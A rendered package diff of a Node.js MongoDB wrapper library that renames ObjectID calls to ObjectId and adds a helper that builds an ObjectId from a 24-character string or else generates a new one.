242
242
  }
243
243
 
244
244
  if (options.where && options.where._id && typeof options.where._id === 'string') {
245
- options.where._id = $collection.ObjectID(options.where._id);
245
+ options.where._id = $collection.ObjectId(options.where._id);
246
246
  }
247
247
 
248
248
  if (options.where && options.where.id) {
@@ -293,12 +293,12 @@ module.exports = function init(____0, option, db) {
293
293
 
294
294
  if (options.where && typeof options.where === 'string') {
295
295
  options.where = {
296
- _id: $collection.ObjectID(options.where),
296
+ _id: $collection.ObjectId(options.where),
297
297
  };
298
298
  }
299
299
 
300
300
  if (options.where && options.where._id && typeof options.where._id === 'string') {
301
- options.where._id = $collection.ObjectID(options.where._id);
301
+ options.where._id = $collection.ObjectId(options.where._id);
302
302
  }
303
303
 
304
304
  if (options.where && options.where.id && typeof options.where.id === 'string') {
@@ -344,12 +344,12 @@ module.exports = function init(____0, option, db) {
344
344
  }
345
345
  if (options.where && typeof options.where === 'string') {
346
346
  options.where = {
347
- _id: $collection.ObjectID(options.where),
347
+ _id: $collection.ObjectId(options.where),
348
348
  };
349
349
  }
350
350
 
351
351
  if (options.where && options.where._id && typeof options.where._id === 'string') {
352
- options.where._id = $collection.ObjectID(options.where._id);
352
+ options.where._id = $collection.ObjectId(options.where._id);
353
353
  }
354
354
 
355
355
  if (options.where && options.where.id && typeof options.where.id === 'string') {
@@ -402,7 +402,7 @@ module.exports = function init(____0, option, db) {
402
402
  docs = docs.filter((d) => d !== null && typeof d == 'object');
403
403
  docs.forEach(($doc) => {
404
404
  if ($doc._id && typeof $doc._id === 'string') {
405
- $doc._id = $collection.ObjectID($doc._id);
405
+ $doc._id = $collection.ObjectId($doc._id);
406
406
  }
407
407
 
408
408
  if ($collection.identityEnabled === !0 && !$doc.id) {
@@ -465,12 +465,12 @@ module.exports = function init(____0, option, db) {
465
465
 
466
466
  if (options.where && typeof options.where === 'string') {
467
467
  options.where = {
468
- _id: $collection.ObjectID(options.where),
468
+ _id: $collection.ObjectId(options.where),
469
469
  };
470
470
  }
471
471
 
472
472
  if (options.where && options.where._id && typeof options.where._id === 'string') {
473
- options.where._id = $collection.ObjectID(options.where._id);
473
+ options.where._id = $collection.ObjectId(options.where._id);
474
474
  }
475
475
 
476
476
  if (options.where && options.where.id && typeof options.where.id == 'string') {
@@ -520,12 +520,12 @@ module.exports = function init(____0, option, db) {
520
520
 
521
521
  if (typeof options.where === 'string') {
522
522
  options.where = {
523
- _id: $collection.ObjectID(options.where),
523
+ _id: $collection.ObjectId(options.where),
524
524
  };
525
525
  }
526
526
 
527
527
  if (options.where._id && typeof options.where._id === 'string') {
528
- options.where._id = $collection.ObjectID(options.where._id);
528
+ options.where._id = $collection.ObjectId(options.where._id);
529
529
  }
530
530
 
531
531
  if (options.where && options.where.id) {
@@ -550,8 +550,11 @@ module.exports = function init(____0, option, db) {
550
550
  }
551
551
  };
552
552
 
553
- $collection.ObjectID = function (_id) {
554
- return new ____0.mongodb.ObjectID(_id);
553
+ $collection.ObjectId = $collection.ObjectID = function (_id) {
554
+ if (typeof _id === 'string' && _id.length === 24) {
555
+ return ____0.mongodb.ObjectID(_id);
556
+ }
557
+ return ____0.mongodb.ObjectID();
555
558
  };
556
559
 
557
560
  $collection.drop = (callback) => {
package/lib/mongodb.js CHANGED
@@ -16,7 +16,13 @@ module.exports = function init(____0) {
16
16
 
17
17
  _mongo.lib = mongodb;
18
18
 
19
- _mongo.ObjectID = mongodb.ObjectId;
19
+ _mongo.ObjectId = mongodb.ObjectId;
20
+ _mongo.ObjectID = function (_id) {
21
+ if (typeof _id === 'string' && _id.length === 24) {
22
+ return new _mongo.ObjectId(_id);
23
+ }
24
+ return new _mongo.ObjectId();
25
+ };
20
26
  _mongo.connection = url;
21
27
  _mongo.collections_indexed = [];
22
28
 
@@ -432,12 +438,12 @@ module.exports = function init(____0) {
432
438
 
433
439
  if (typeof obj.where === 'string') {
434
440
  obj.where = {
435
- _id: new _mongo.ObjectID(obj.where),
441
+ _id: _mongo.ObjectID(obj.where),
436
442
  };
437
443
  }
438
444
 
439
445
  if (typeof obj.where._id === 'string') {
440
- obj.where._id = new _mongo.ObjectID(obj.where._id);
446
+ obj.where._id = _mongo.ObjectID(obj.where._id);
441
447
  }
442
448
 
443
449
  if (obj.select === undefined) {
@@ -563,7 +569,7 @@ module.exports = function init(____0) {
563
569
  }
564
570
 
565
571
  if (obj.where && obj.where._id && typeof obj.where._id === 'string') {
566
- obj.where._id = new _mongo.ObjectID(obj.where._id);
572
+ obj.where._id = _mongo.ObjectID(obj.where._id);
567
573
  }
568
574
 
569
575
  let $update = {};
package/lib/parser.js CHANGED
@@ -37,6 +37,7 @@ module.exports = function init(req, res, ____0, route) {
37
37
  }
38
38
  let hide = false;
39
39
  let out = '';
40
+
40
41
  if (d.indexOf('#') == 0) {
41
42
  d = d.replace('#', '');
42
43
  hide = true;